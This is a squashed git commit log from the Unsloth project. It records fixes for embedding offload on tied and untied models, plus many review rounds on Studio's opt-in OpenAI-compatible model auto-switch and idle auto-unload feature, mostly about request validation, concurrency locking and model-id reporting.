* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gpt-oss offload: refuse offload_embedding for tied word embeddings
Tied models share embed_tokens.weight with lm_head, so offloading the weight
to CPU strands the output projection there (device mismatch at generate) and
saves no VRAM since lm_head still needs it on GPU. Detect the shared weight via
get_output_embeddings and raise NotImplementedError instead of loading into a
crash. Untied models (gpt-oss, Llama-3.1-8B) offload unchanged.
Adds tests/test_offload_tied_guard.py.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gpt-oss offload: skip embedding offload on fast_inference (vLLM)
vLLM manages its own weights, so offload_embedding cannot apply on the
fast_inference path (previously it was silently ignored). Disable it with a
notice, mirroring the WSL and Windows skips.
* Trim offload embedding comments (comment-only)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gpt-oss offload: track decoder device live so it survives model.to()
The post-hook returned the embedding output to a device captured at load time.
If a model is loaded on CPU then moved with model.to(cuda), that device is
stale and the output lands on the wrong device. Read the decoder device live
from the (untied) output embeddings, keeping the captured device as a fallback.
Adds a stale-fallback regression test.
* Make generate-kwarg-gate cases pytest-collectable
Cases lived in run(), which pytest does not collect, so CI never exercised the
gate. Expose them as test_generate_kwarg_gate; still runnable via __main__.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gpt-oss offload: skip a meta (disk-offloaded) lm_head as the return device
A device_map that disk-offloads an untied lm_head leaves its weight on the meta
device until that module's own hook runs, so reading it as the decoder device
would move real hidden states to meta. Skip meta (and a missing weight) and fall
back to the captured device. Adds a regression test.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: opt-in OpenAI /v1 model auto-switch and idle keep-warm
The OpenAI-compatible endpoints serve whichever GGUF is loaded and ignore the
request model field, so an OpenAI client that changes model never reloads. Add
an opt-in setting that, when a /v1 request names a downloaded local GGUF
different from the loaded one, loads it before serving by reusing the existing
/load path (its dedup, tensor fallback, and threading apply). Unknown names
still serve the loaded model, so drop-in compatibility is preserved and no
remote download is triggered.
Also add an optional idle auto-unload (TTL keep-warm): a pure-ASGI middleware
tracks in-flight inference requests so a stream is never unloaded mid-response,
and a lifespan loop unloads the model after the configured idle seconds. Both
settings default off and live in the app_settings store, exposed via
GET/PUT /api/settings/openai-auto-switch.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: variant-aware auto-switch, /v1/responses coverage, keep-warm load stamp
Follow-ups from review of the opt-in OpenAI auto-switch path:
1. Variant-aware dedup. _maybe_auto_switch_model compared only the repo id, so
requesting another quant of the loaded repo (e.g. Q4_K_M loaded, Q8_0 asked)
was served by the old quant. Compare hf_variant too, matching /load dedup.
2. Streaming /v1/responses now calls the auto-switch hook. It went straight into
_responses_stream and only checked is_loaded, so stream=True could serve the
old model or 400. Non-streaming already routed through chat completions; the
hook is idempotent once loaded.
3. resolve_local_gguf tries an exact id match before splitting a trailing
:VARIANT, so local ids that contain a colon (e.g. a Windows path) resolve
instead of being cut at the drive letter.
4. Idle keep-warm stamps activity on a load/swap transition. _last_active was
only refreshed by inference requests, so a model loaded after the server sat
idle past the TTL could be unloaded before its first request.
Tests cover each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make the /v1/responses auto-switch test order-independent
The new streaming-responses test passed in isolation but failed under the CI's
randomized collection order with "object has no attribute 'state'": it passed a
bare object() as the request and stubbed only one dispatcher, so an ordering
where the real dispatcher ran hit request.state. Give the request a state and
stub both dispatchers; the test still asserts the hook fires before dispatch.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: assert /v1/responses auto-switch wiring on source, not at runtime
The behavioral version executed openai_responses and relied on stubbing its
callees, which a randomized collection order in CI could defeat (the real
dispatcher ran and hit request attributes). Assert on the function source that
the hook precedes both dispatchers instead; the hook's runtime behavior is
already covered by the direct _maybe_auto_switch_model tests.
* Studio: auto-switch on /v1/embeddings, GGUF-only targets, idle-unload race gate
Second-pass review follow-ups on the opt-in auto-switch path:
1. /v1/embeddings now calls the auto-switch hook before the loaded-state check,
matching the other model-bearing OpenAI endpoints (the keep-warm middleware
already treats embeddings as inference).
2. The resolver index is now GGUF-only. The local-model scanners also surface
Transformers/safetensors repos; without a filter, auto-switch could unload
the GGUF and route a request into the non-GGUF loader. _has_local_gguf checks
a direct .gguf, a models-dir folder, and the HF-cache snapshots layout.
3. Idle keep-warm now holds an asyncio gate across the idle check and the
unload, and a request bumps inflight under the same gate, so the loop can no
longer unload in the window between "looks idle" and the kill.
Tests cover each. Broader local-model source parity (LM Studio, Ollama, legacy
caches, custom scan folders) is a follow-up; missing one of those today just
falls through to the loaded model.
* Studio: variant-aware local resolver, count_tokens + audio auto-switch coverage
Third-pass review follow-ups on the opt-in auto-switch path:
1. The resolver is now variant-aware via list_local_gguf_variants. It indexes
only the quants actually on disk, recursing snapshots and quant subdirs such
as the nested per-quant folders, so a requested repo:VARIANT resolves only
when that quant is local and a bare repo resolves to a concrete local quant.
This fixes two gaps: the previous shallow glob rejected nested-variant GGUF
repos, and a request for an uncached quant could send /load down the remote
download path, breaking the local-only contract.
2. /v1/messages/count_tokens now auto-switches like its sibling /v1/messages, so
a count uses the requested model's tokenizer.
3. /api/inference/audio/generate (direct GGUF TTS) is now tracked as in-flight
inference, so the idle loop cannot unload the model mid-generation.
Tests cover each. Two reviewer items are left as follow-ups: indexing the
remaining local sources (LM Studio, Ollama, legacy/default caches, custom scan
folders), which fails safe today by falling through to the loaded model; and
fully serializing concurrent different-model requests, an inherent limit of the
single-slot llama backend that the opt-in feature is not designed around.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make local GGUF resolver fail-safe so a bad model name cannot 500
The auto-switch hook calls resolve_local_gguf without its own guard, and
/v1/completions and /v1/embeddings pass body.get("model") through unchanged.
A non-string model (e.g. {"model": 123}) or any internal scan failure would
then raise out of the resolver and turn a request that would otherwise be
served by the loaded model into a 500, breaking the drop-in compatibility the
feature is built on.
Guard the resolver at its boundary: reject non-string input up front and wrap
the lookup so any failure returns None (fall through to the loaded model).
Add regression tests for both paths.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: per-model launch flags for auto-switched GGUF models
* Studio: list switch-eligible GGUFs in /v1/models when auto-switch is on
* Studio: settings UI for OpenAI model auto-switch and idle auto-unload
* Studio: show save error over the disabled-idle hint in auto-switch settings
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address gemini review (case-insensitive /v1/models retrieve, idle-input empty guard)
* Studio: address codex review (deterministic override args, exclude probe/embedding models from discovery)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep-warm count_tokens, gate idle on auto-switch, drop hidden models
Three hardening fixes to the opt-in auto-switch path surfaced while reviewing
the work that builds on it:
1. count_tokens keep-warm. /v1/messages/count_tokens counts via the loaded
tokenizer and already auto-switches, but the keep-warm middleware did not
track it, so idle auto-unload could free the model mid-count. It is now a
tracked in-flight path.
2. "Off means unchanged" for idle unload. get_auto_unload_idle_seconds now
reports 0 while auto-switch is disabled. Idle unload only makes sense with
auto-switch on (an unloaded model returns only via the next request's swap),
so a stray TTL can no longer trigger a destructive unload while the feature
is off, keeping the disabled state identical to pre-feature behavior.
3. Hidden models are not switch targets. The resolver index now skips what
Studio hides from its own pickers (the llama.cpp validation probe, RAG
embedding weights) via _is_hidden_model, so they can never be auto-switched
to by name.
Tests added for each.
* Studio: bare-id reuse, responses validation order, in-flight tracking
Review follow-ups after folding in the per-model overrides and discovery work:
1. A bare model id (no :VARIANT) is now satisfied by any loaded quant of that
repo. Previously a bare name resolved to the largest local quant, so it could
force a slow reload when a different quant of the same repo was already
serving. An explicit repo:VARIANT request still honors the quant.
2. /v1/responses now runs the auto-switch hook after the empty-input validation
so a request that 400s can no longer trigger a multi-minute model load before
being rejected. The hook still precedes both dispatchers, so streaming
requests switch.
3. The keep-warm middleware now tracks in-flight requests whenever auto-switch
is enabled rather than only when the idle TTL is already positive, so a stream
that starts with the TTL at 0 is still protected if idle-unload is enabled
mid-stream. Off still passes straight through.
Tests added for each.
* Studio: tighten auto-switch code comments
Comment/docstring-only pass over the OpenAI auto-switch feature: collapse
multi-line blocks, drop a comment that restated the gate it sits next to, and
trim verbose docstrings on internal helpers while keeping the load-bearing
rationale (concurrency, API behavior, drop-in compat, gotchas). No logic
change: verified comment-only with the AST/printer signature check.
* Studio: bind auto-switch locks per running loop
Review follow-up. The auto-switch swap lock and the keep-warm unload gate were
module-level asyncio.Lock objects. That is safe under the single uvicorn loop
and on Python 3.10+ (the Lock resolves the running loop lazily on acquire), but
a module-level Lock binds to one loop on pre-3.10, which can raise a loop
mismatch in multi-loop runners. Resolve each lock through a per-loop accessor
backed by a WeakKeyDictionary so every running loop gets its own Lock and stale
loops are collected. No behavior change under the server's single loop.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: auto-switch re-review fixes (body codes, coverage, swap, alias, tracking)
Follow-ups from a second review pass over the opt-in OpenAI auto-switch feature:
1. OFF-state status codes: /v1/completions and /v1/embeddings moved the body
read ahead of the loaded-state check, so a malformed/empty body with no model
loaded returned 500 instead of the prior 503. A shared helper reads the body
defensively (an unparseable/non-dict body yields no model), and the handler
re-reads after the 503 gate to surface the original parse error exactly as
before. OFF behavior is unchanged.
2. Local-model coverage: the resolver index only scanned ./models and the active
HF cache, while the model picker also lists the legacy/default HF caches, LM
Studio dirs, and user scan folders. A request for one of those named models
silently served the loaded model instead. _build_index now scans the same
roots (Ollama's symlink-creating scanner is skipped on the request path), and
resolution is offloaded with asyncio.to_thread so the wider scan never blocks
the event loop.
3. Swap vs in-flight stream: a cross-model swap killed the llama-server while
another client was still streaming from it. The hook now tracks how many
requests are streaming on the loaded model (in-flight minus those still inside
the hook) and returns 409 instead of swapping while one is active. Concurrent
same-model requests never reach this path, so they are unaffected.
4. Idle-unload + alias: after idle-unload freed the model, an unknown/alias name
resolved to nothing and 503'd, though it served the active model before the
TTL. Idle-unload now remembers the freed id and an alias request reloads it
(only an already-local model, so no remote download), cleared once a model is
loaded again.
5. In-flight tracking: the keep-warm middleware tracked in-flight only while the
feature was on, so a stream started while off could be unloaded if idle-unload
was enabled mid-stream. It now tracks on every inference path; counting is
cheap and invisible to clients.
Tests added for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Remove stray async_task_outputs files committed by mistake
* Studio: auto-switch review round 3 (revert swap guard, hardening)
Addressing a third review pass:
- Revert the cross-model swap guard. It counted keep-warm in-flight (which
includes external-provider calls that never touch the local model) and so
could 409 a local swap spuriously, and it still left a same-model request able
to start streaming on the model a concurrent swap was unloading. A correct fix
needs a request-lifetime reader/writer barrier; a partial guard was worse than
the honest single-slot behavior, so concurrent different-model use is back to
being serialized (documented), like llama-swap's single slot.
- Non-string request model (e.g. {"model": 123} on a raw-body endpoint) is now
treated as absent, so it falls through instead of raising in the membership
checks once an idle-unload stash exists.
- Idle-unload now stashes and replays the freed quant: an alias reload restores
the exact (id, variant) that was freed rather than the largest local quant.
- Anthropic /v1/messages validates max_tokens before the auto-switch hook, so a
request that 400s never triggers a model load.
- Keep-warm tracks a pending count for requests waiting on the unload gate, so
the idle loop cannot unload the model out from under a request that is blocked
on the gate but not yet counted as in-flight.
- The idle-unload task is awaited after cancel on shutdown to avoid pending-task
warnings.
- The resolver's HF cache scan is None-safe and logs at debug instead of letting
a bad root abort the whole index build.
- upsert_app_setting_map_entry rolls back explicitly on error.
Tests updated/added for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep saved idle-unload seconds when auto-switch is toggled off
* Studio: auto-switch hardening (thread-safe lock maps, body validation)
Defensive fixes from review:
- Guard the per-loop WeakKeyDictionary get-or-create for both the unload gate and
the auto-switch lock with a threading lock, since WeakKeyDictionary mutation is
not thread-safe when two event loops run on different threads.
- Build the resolver index under the cache lock so concurrent callers with an
expired cache don't all run the multi-dir scan at once.
- /v1/completions and /v1/embeddings return a clean 400 for a valid JSON body
that is not an object (e.g. a list), instead of a 500 from body.get(...).
- The keep-warm middleware only tracks POST requests (inference is always POST),
so CORS preflight (OPTIONS) is not counted, and tolerates a None path.
Tests added for the list-body 400 and the non-POST skip.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: auto-switch review round 4 (local-path load, swap guard, idle fixes)
From a 10-reviewer pass:
- HF-cache entries now load by a concrete local path, not the bare repo id. The
resolver records a load_path (the snapshot dir for a models--* cache repo, the
file/dir otherwise) so /load takes the local branch and can never trigger a
download to satisfy a partial cache. The advertised loader_id (repo id) is kept
as the launch-override key. resolve_local_gguf now returns
(load_path, variant, loader_id).
- Re-add a single-slot swap guard: a cross-model swap returns 409 model_switch_busy
while another inference request is active rather than killing its stream (the
caller is excluded from the count), and holds the keep-warm gate across the load
so no new inference starts mid-swap. Concurrent same-model requests never reach
this path. A residual spurious 409 is possible while a concurrent or external-
provider request is active; that is the documented single-slot tradeoff.
- Idle keep-warm tracks (model_identifier, hf_variant): reloading the same repo at
a different quant counts as a fresh model, so it is not unloaded before one TTL.
- Track Studio's own /api/inference/generate/stream so the idle loop can't unload
the model mid-stream on that route.
- A successful manual /load clears the idle-unload reload stash synchronously, not
only on the next idle poll.
Also merged origin/main (the branch had fallen behind, which would have reverted
unrelated files on merge). Tests added/updated for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: auto-switch review round 5 (concurrency, identity, load gate)
From a 10-reviewer pass (9 request-changes, 1 approve):
- Concurrent same-target requests load once instead of each returning 409. The
count-based busy guard could not tell "another request wants the same model"
(safe, load once) from "another request is using the loaded model" (refuse).
Track in-flight auto-switch requests per (target, variant) and subtract
same-target waiters from the busy count; a cross-model swap still 409s while a
genuinely different request is active.
- Fix the identity confusion introduced when round 4 began loading by concrete
local path: the backend identifier became a filesystem path. Record the
advertised repo id on the backend after an auto-switch load and use it so
(a) a model loaded manually by repo id is recognized as already serving
(no spurious reswap/409), (b) /v1/models reports the repo id, never a host
path or a duplicate, and (c) the idle-unload stash keeps the override keyed by
the repo id, so an alias reload after TTL keeps the user's saved launch flags.
- Gate the manual /load route with the keep-warm lifecycle gate so idle
auto-unload can't unload a model mid-load. load_model now wraps _load_model_impl
in the gate; auto-switch calls _load_model_impl directly since it already holds
the gate.
- Restore default-off parity on Anthropic /v1/messages: an unloaded backend with
auto-switch disabled 503s before the max_tokens 400 check, as it did pre-feature.
When the feature is on, request-shape validation still runs before any load.
Tests added for each; full backend suite diff vs baseline is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: auto-switch review round 6 (concurrency ordering, leaks, unload gate)
From a second 10-reviewer pass (8 request-changes, 2 approve):
- Same-target concurrency: register a waiter by the raw requested model before
the (slow) resolve, and exclude pending requests from the swap busy count. The
middleware counts a concurrent same-model request as in-flight before it
resolves and joins the resolved-target waiter map, so the prior fix could still
409 it. The guard now subtracts max(same resolved-target, same raw-request)
waiters and ignores pending (a pending request is blocked in the middleware,
not generating, so a swap can't interrupt it).
- External-provider requests no longer block a local swap. The keep-warm
middleware counts every inference-path POST, but external-provider chat returns
before the auto-switch hook and never touches the local GGUF. The chat handler
now untracks itself before proxying, so its in-flight stream can't trip
model_switch_busy on a concurrent local auto-switch. The middleware skips its
own end-decrement for an untracked request.
- Manual /unload is gated like load and idle-unload: it holds the lifecycle gate
and returns 409 rather than tearing down llama-server while an inference request
is in flight.
- Response model id no longer leaks the load path. /v1/models already advertised
the repo id; chat, completions, embeddings, Anthropic messages, and audio
response bodies now use the same _llama_public_model_id helper instead of the
concrete on-disk model_identifier.
- Chat completions validates the non-system-message requirement before the
auto-switch hook (as /responses and /messages already do), so an invalid
request can't swap the resident model before returning 400.
Tests added for each; full backend suite diff vs baseline is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: auto-switch review round 7 (teardown policy, Unsloth-active swap, training)
From a third 10-reviewer pass (9 request-changes, 1 approve), all on the same
asymmetric-teardown theme. Resolved per the intended policy that only automatic
paths defer to an active stream; deliberate user actions stay interrupting:
- Revert the manual /unload in-flight guard added last round. A manual /load or
/unload is a deliberate action and tears down immediately, as before; only the
automatic idle-unload loop and auto-switch defer to an active request. This
removes the asymmetry the reviewers flagged (manual /load, the /unload Unsloth
branch, and the opposite-backend swaps inside _load_model_impl) by not
extending the guard to deliberate paths, rather than spreading it.
- Auto-switch now refuses a swap whenever another inference request is in flight,
not only when a GGUF is already loaded. _load_model_impl also unloads an active
Unsloth/transformers backend before loading a GGUF, so the busy guard must cover
that case too; otherwise an Unsloth stream could be killed by an auto-switch.
- Refuse API-initiated training while inference is active. When Studio is driven
as an inference API (sk-unsloth key auth), POST /api/training/start returns 409
if a request is in flight, since training frees VRAM by unloading the chat
model and would kill the stream. The Studio UI (session auth) still starts
training and coexists/frees VRAM as before. A mixed UI+API session is not yet
special-cased. Adds auth.authentication.authenticated_via_api_key.
Tests added/updated for each; full backend suite diff vs baseline is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: add UNSLOTH_MODEL_IDLE_TTL env override for idle-unload
Borrowed from PR 6517: a startup env var that sets the idle-unload TTL without
the settings UI. Unlike the stored setting (gated on auto-switch), the env value
is a standalone default that enables idle-unload even with auto-switch off, for
headless/container deploys. An explicit UI/API value still overrides it and stays
gated. The settings GET reflects the env default when nothing is stored.
* Studio: auto-switch fixes from review (paths, embeddings input, env idle reload)
- /v1/models advertises a client-facing alias instead of a filesystem path:
the ./models and LM Studio scanners report the on-disk path as the model id,
so the index now prefers model_id/display_name as the advertised/override id
and keeps the concrete path internal as load_path, still resolvable by path.
- /v1/embeddings validates input before auto-switch: a request with a model but
no input now 400s before the hook (like chat/responses/messages), so an
invalid embeddings request cannot unload or swap the resident model.
- Standalone UNSLOTH_MODEL_IDLE_TTL reloads the freed model: the hook now runs
when auto-switch or idle-unload is active, and with auto-switch off it skips
the resolver and only restores the idle-unloaded model, so the first idle
timeout no longer leaves later /v1 requests with nothing loaded.
- Do not resurrect a stale GGUF over an active Unsloth model: the reload-stash
path bails when a non-GGUF backend is loaded, so an unknown /v1 name cannot
tear down a live Transformers/Unsloth model.
- Defensive HF cache scan: each cache root's resolve/dedup is wrapped so a
missing or malformed root skips that root rather than aborting the index.
- Single-model retrieve checks the id is a string before lowercasing.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix automatic-load asymmetry, audio reload, preview, idle timer
The standalone UNSLOTH_MODEL_IDLE_TTL reload is a second automatic-load
trigger, but several validate-before-switch guards and reload hooks only
checked the auto-switch toggle. Add a shared _automatic_model_load_may_run()
(auto-switch on, or idle TTL > 0) and route every guard through it.
- /v1/completions validates prompt before any automatic load (it was the one
model-bearing route with no pre-check).
- /v1/chat/completions and /v1/embeddings pre-checks gate on the shared
predicate so a standalone idle TTL cannot reload then reject.
- /v1/messages no longer 503s before the reload hook can restore an idle-freed
model when auto-switch is off.
- Raw completions/embeddings with no model field pass a non-empty sentinel so
the idle-stash reload runs, restoring the legacy "omit model, use loaded" path.
- /api/inference/audio/generate gains the reload hook (after message validation)
so an idle-freed audio GGUF is restored.
- Public preview opts out of auto-switch via a request-scope flag, so a caller's
model field cannot swap away from the pinned checkpoint; preview chat streams
are now matched by _is_inference_path so idle-unload cannot kill them.
- Keep-warm no longer stamps activity on request start, and external-provider
untracking decrements without restamping, so periodic external traffic can no
longer keep the local GGUF warm forever.
Merges origin/main (the branch had fallen behind, which also brought in the
preview route the review flagged).
* Studio: surface model auto-switch in the API tab and demo it in examples
The OpenAI auto-switch toggle previously lived only in Settings -> General.
Add the same toggle to the API tab's usage-examples panel (it shares the
settings cache), and make the examples reflect it: when on, the Python
examples append a second call naming a different downloaded GGUF (so the
model field visibly selects which model serves), and the curl examples gain
a one-line note. Reuses the existing settings API client and i18n keys.
* Studio: harden OpenAI auto-switch reload-only path and Anthropic tool validation
- Omitted-model raw-body requests pass a reload-only sentinel so the idle-stash
reload still restores an idle-freed model, but the resolver never matches a
downloaded GGUF literally named "default".
- Reject malformed Anthropic client tools before _maybe_auto_switch_model so an
invalid request can no longer evict the loaded model.
* Studio: extend auto-switch reload-only and tool validation to schema endpoints
- Schema-backed endpoints (chat completions, responses, count_tokens, messages,
audio) defaulted an omitted model to "default" and passed it to the switch
hook, so a downloaded GGUF named "default" could be swapped to. Route the hook
through a helper that switches only on an explicitly set model, else reload-only.
- Propagate the explicit-set status when building the chat request from a
Responses request, so the non-streaming chat re-check stays reload-only too.
- Validate Responses function tools before the switch hook so a malformed tool
returns 400 without evicting the loaded model.
* Studio: serialize auto-switch swaps across event loops with a process-wide gate
The auto-switch lock is a per-event-loop asyncio.Lock, so two /v1 swaps on
different loops in one process could both pass it and race the single model slot
(the backend and _load_model_impl are process-wide). Add a process-wide
threading gate around the swap, acquired off the loop so a cross-loop wait never
blocks it, layered with the existing per-loop lock. Add a cross-loop test that
fails without the gate (two slow loads overlap) and passes with it.
* Studio: make the auto-switch swap gate wait cancellation-safe
_acquire_swap_gate awaited asyncio.to_thread(lock.acquire) when another loop held
the process-wide gate. to_thread cancellation doesn't stop the worker thread, so a
/v1 request cancelled mid-wait (client disconnect during a cross-loop swap) would
have its thread acquire the gate after the fact, while the finally that releases it
never runs -- permanently deadlocking later auto-switch swaps.
Poll a non-blocking acquire off a short asyncio.sleep instead: it still keeps the
wait off the loop and serializes across loops, but a cancel now lands during the
sleep, when the gate is not held, so nothing leaks. Add a test that deadlocks the
to_thread variant (it times out) and passes with the poll.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: validate modality and tool-confirmation before auto-switch
Two more request shapes could load a named GGUF and only then 400, evicting the
resident model:
- An image request naming a different text-only GGUF. The switch hook now takes
require_vision and rejects a swap to a non-vision target before loading it; a
GGUF's vision capability is its companion mmproj, knowable without a load, and
matches the post-load guard. Only the resolver branch is checked, never the
reload-stash restore.
- confirm_tool_calls=true with stream=false and local tools. /v1/chat/completions
now rejects that shape before the hook, mirroring the local tool path's
bypass_permissions exemption and intent signal.
The vision probe threads the ambient HF token to keep the capability-probe
invariant. Reload-only and idle-reload paths are unaffected.
* Studio: extend validate-before-switch and make the lifecycle gate process-wide
- /v1/messages/count_tokens now rejects malformed client tools before the switch
hook, like /messages (shared _validate_anthropic_client_tools helper), so a
count request can't evict the loaded model.
- /v1/chat/completions rejects a malformed tool_choice forcing object (a
{"type":"function","function":{}} with no name) before the switch hook.
- The inference lifecycle gate that blocks new inference during a swap is now
process-wide (a poll-acquired threading lock, cancellation-safe), not a
per-loop asyncio lock, so a request on another event loop can't start inference
while a swap tears the single backend down.
- Usage examples no longer hard-code a switch-demo repo most users lack; the
model is an explicit placeholder the user replaces.
* Studio: extend the auto-switch modality guard to /v1/responses and /v1/messages
The pre-load vision check that guards /v1/chat/completions now also runs on
/v1/responses and /v1/messages, so an image request naming a text-only GGUF is
rejected before the swap and never evicts the resident vision model. Run the
vision capability probe off the event loop. Make the /v1/models retrieve
loaded fast-path case-insensitive, and never advertise a host path from the
resolver. Remove the dead list_switch_eligible_ids helper, superseded by the
/v1/models catalog.
* Studio: filter /v1/models to GGUF, per-loop catalog lock, reject system-only Responses
Address review findings on the auto-switch path:
- /v1/models advertises only GGUF models the API can actually switch to; a
safetensors/LoRA entry would be selectable but never loadable via llama.cpp.
- The /v1/models catalog cache uses a per-loop lock (like the auto-switch path)
so a second event loop awaiting it can't hang in a multi-loop process.
- /v1/responses rejects system/developer-only input before the switch, mirroring
chat, so an invalid request can't evict the resident model.
- _build_index guards each scan source on its own so one bad root drops only
that source; the vision probe logs a real detection failure instead of
swallowing it.
* Studio: list cached GGUFs in /v1/models by inspecting files, not model_format
The HF-cache scanner leaves model_format unset for GGUF snapshots, so the
previous model_format == "gguf" filter dropped every downloaded HF-cache GGUF
from /v1/models and the retrieve fallback. Decide GGUF-ness from the on-disk
files via the resolver (info_has_local_gguf) instead, run off the event loop, so
the catalog advertises exactly what /v1 can serve.
* Studio: fix /v1/messages/count_tokens route binding plus auto-switch review fixes
The @router.post decorator for /messages/count_tokens had been separated from
anthropic_count_tokens by the _validate_anthropic_client_tools helper, so the
route bound to the validator and dropped its auth dependency. Move the decorator
back onto the handler. Add route-binding tests asserting each /v1 endpoint maps
to its handler with the auth dependency, so a decorator/handler split is caught
at the route level (the direct-call tests missed it).
Also from review:
- update_openai_auto_switch writes both settings keys in one transaction so a PUT
can't leave one updated and the other stale (drop the now-unused single setters).
- max_seq_length override rejects 0 at the boundary (ge=1) instead of accepting
then silently dropping it.
- Document that embeddings auto-switch is best-effort: GGUF pooling has no cheap
pre-load probe like vision's mmproj, so a guard would false-reject GGUF embedders.
- Add a positive idle-unload test (loop frees the model and stashes it for reload).
* Studio: validate Responses tool_choice + Anthropic mixed tools before switch, filter Ollama from catalog
More auto-switch review findings:
- /v1/responses rejects a forcing-function tool_choice with no name before the
switch, mirroring chat, so a malformed request can't evict the resident model.
- /v1/messages rejects mixing Anthropic server tools with custom client tools
before the switch (the check depends only on the payload, so it moves up cleanly).
- /v1/models no longer advertises Ollama-link models: info_has_local_gguf excludes
.studio_links / ollama_links entries, which the resolver skips and can't switch
to, so an advertised id never silently falls through.
* Studio: guard chat audio input before switch; surface env-backed idle unload in settings UI
A chat request carrying audio_base64 rides the same companion mmproj
projector as a vision request, so a text-only target cannot serve it
either. Flag require_vision for audio input as well so the multimodal
probe runs before the switch and a rejected request never evicts the
working model. Generalize the reject message to cover image and audio.
The settings response now reports idle_unload_active (effective TTL > 0)
so the UI can distinguish idle-unload that is active via the
UNSLOTH_MODEL_IDLE_TTL env var from the case where it needs the toggle
enabled.
* Studio: harden auto-switch eviction guards (count_tokens vision, TTS reload-only, mmproj/stash)
Four eviction/correctness fixes on the opt-in /v1 auto-switch path:
- /v1/messages/count_tokens now carries the same require_vision guard as
/messages, so an image count naming a text-only GGUF can't evict a loaded
vision model for a swap that can't serve the request.
- /audio/generate is now reload-only. A local GGUF's audio-input capability
is not a cheap pre-load probe (the companion mmproj signal can't tell an
audio projector from a vision one, and codec TTS ships no projector), so
resolving the client model could load a text/vision-only target and evict
the working audio model before the audio check fails. Only the idle-stash
restore runs here; switching TTS models is an explicit /load.
- The resolver no longer treats a standalone mmproj .gguf as a servable
model. _scan_models_dir's standalone-file pass does not filter mmproj the
way its directory scan does, so /v1/models could advertise a projector and
a switch could load it over the real weights.
- A non-GGUF (Transformers/Unsloth) load and a deliberate /unload now clear
the idle reload stash, so a manual load/unload is never superseded by a
stale idle-freed GGUF that the next /v1 request resurrects.
* Studio: report advertised repo id consistently after an auto-switch
Two model-id reporting fixes so an auto-switched cached HF GGUF is named by
its repo id everywhere, not its snapshot path:
- Streamed /v1/responses envelopes now derive the model id from
_llama_public_model_id (which prefers _openai_advertised_id) instead of the
raw model_identifier. After an auto-switch the identifier is the snapshot
path while the repo id lives in _openai_advertised_id, so the stream used to
report a snapshot basename while /v1/models, chat completions, and
non-streaming Responses all reported the repo id.
- When an advertised alias already resolves to the loaded model (a model
loaded by local path, requested by its repo or LM Studio id), the
already-serving early return now records the alias as the advertised id, so
/v1/models and responses report the alias and mark it loaded instead of the
path-derived basename. Resolver branch only; safe lock-free because an
in-flight request blocks any concurrent swap via the single-slot busy guard.
* Studio: validate request shapes before auto-switch (prompt/input/audio/mcp confirm)
Four more validate-before-switch guards so a deterministic client error never
evicts the resident model on the opt-in /v1 auto-switch path:
- /v1/completions rejects an object/number prompt (only a string or array is
valid) before the switch, instead of loading the named GGUF and letting
llama-server reject the shape afterward.
- /v1/embeddings rejects an object/number input the same way.
- Chat rejects an oversized audio_base64 upload (413) before the switch. The
size cap is a cheap, target-independent length check; the decode itself
stays post-switch to avoid decoding a valid upload twice.
- The chat confirm-without-stream pre-switch guard now mirrors the tool loop's
actual enablement: _effective_enable_tools (honoring a CLI --enable-tools
policy) and mcp_enabled (which opens the tool loop on its own but defers to a
CLI --disable-tools policy). Previously a confirm+no-stream request with only
mcp_enabled slipped past and 400'd after the swap.
* Studio: fix model-id retrieval, streaming n>1, resolver cache TTL, keep-warm auth
Four fixes from review:
- GET /v1/models/{id} legacy raw-path fallback now maps the raw identifier to
the same public id its /v1/models entry uses. After an auto-switch load the
identifier is the snapshot path while the entry is keyed by the advertised
repo id, so a client that cached the old absolute path no longer 404s on a
model that is in fact loaded.
- stream=true with n>1 is now rejected before the switch. Only the
non-streaming GGUF path returns multiple choices, so streaming n>1 is invalid
on every local serving path; both fields are known pre-switch, so it must not
load model B only to 400 and evict model A. Non-streaming n>1 stays
post-switch where the serving path decides.
- The resolver index cache is stamped after _build_index, not with the pre-scan
timestamp. On installs with enough local models for the multi-root scan to
exceed the 5s TTL, the cache was stored already expired and every request
rebuilt it.
- The keep-warm middleware no longer stamps model activity for 401/403
responses. It runs before FastAPI auth, so unauthenticated probes used to
refresh the idle timer without touching llama.cpp; they now decrement the
in-flight count without keeping the model warm.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
